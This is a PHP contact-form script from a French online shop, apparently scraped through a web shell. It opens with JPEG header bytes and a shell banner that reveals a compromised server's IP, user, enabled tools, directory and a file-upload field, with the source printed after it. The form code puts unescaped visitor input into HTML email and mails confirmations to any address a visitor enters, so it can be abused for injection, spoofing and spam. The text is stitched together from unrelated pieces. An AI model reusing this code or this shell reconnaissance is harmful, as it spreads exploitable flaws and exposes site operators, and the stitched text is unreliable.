ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/OLD/ |
Upload File : |
<?php
/*
Module : Front-Office - Contact
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//
// Chargement fichiers de configuration.
require('libs/Smarty.class.php');
// Démarrage du moteur TPL.
$smarty = new Smarty;
// Chargement des Fonctions Globals.
require('fonctions.php');
//****************************************************************************************//
//************************** Traitement Formulaire de Contact ****************************//
//****************************************************************************************//
require('includes/phpmailer/class.phpmailer.php');
if($_POST['from'])
{
$msg ='
<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
<img src="templates/shop/img/'.$Image_Logo.'" style="width:200px;margin:10px; float:right;">
<h3 style="font-size:20px; padding:15px;">Demande d\'information</h3>
</div>
<br />';
$msg .= '<b>Nom prénom :</b> ' . $_POST['name'] . '<br><b>E-mail</b> : ' . $_POST['email'] . '<br>';
if(!empty($_POST['telephone']))
{
$msg .= '<b>Téléphone :</b> ' . $_POST['telephone'] . '<br>';
}
if(!empty($_POST['adress']))
{
$msg .= '<b>Adresse :</b> ' . $_POST['adress'] . '<br>';
}
if(!empty($_POST['zip_code'])) {
$msg .= '<b>Code Postal :</b> ' . $_POST['zip_code'] . '<br>';
}
if(!empty($_POST['city'])) {
$msg .= '<b>Ville :</b> ' . $_POST['city'] . '<br>';
}
$msg .= '<br><b>Message :</b> ' . nl2br($_POST['message']);
$msg .= '<p style="float:right; padding-top:10px;"><a href="'.$shop_url.'">'.$shop_title.'</a></p>';
// Envoi message au client.
$mail2 = new PHPMailer();
$mail2->IsMail();
$mail2->AddReplyTo($shop_email_contact, $shop_company);
$mail2->AddAddress($_POST['email']);
$mail2->SetFrom($shop_email_contact, $shop_company);
$mail2->Subject = "Confirmation de votre demande d'information effectuée depuis le site " . $shop_title;
$mail2->MsgHTML($msg);
// Envoi message à l'administrateur du site.
$mail = new PHPMailer();
$mail->IsMail();
$mail->AddReplyTo($_POST['email'], $_POST['name']);
$mail->AddAddress($shop_email_contact);
$mail->SetFrom($_POST['email'], $_POST['name']);
$mail->Subject = "Demande d'information depuis le site " . $shop_title;
$mail->MsgHTML($msg);
if($mail->Send() & $mail2->Send())
{
$smarty->assign("contact_status", 'Votre demande à bien été envoyée !');
echo '<script>';
echo 'window.location = "success_mail.php"';
echo '</script>';
}
}
else {
$sql = $GLOBALS['bdd']->prepare('SELECT reference, name FROM products
WHERE id = :id');
$sql->execute(array('id' => $_GET['produit']));
$result = $sql->fetchAll();
$nom_produit = $result[0]['name'];
$ref_produit = $result[0]['reference'];
$smarty->assign("nom_produit", $nom_produit);
$smarty->assign("ref_produit", $ref_produit);
//*************************************** Affichage **************************************//
$smarty->display('contact2.tpl');
}
?>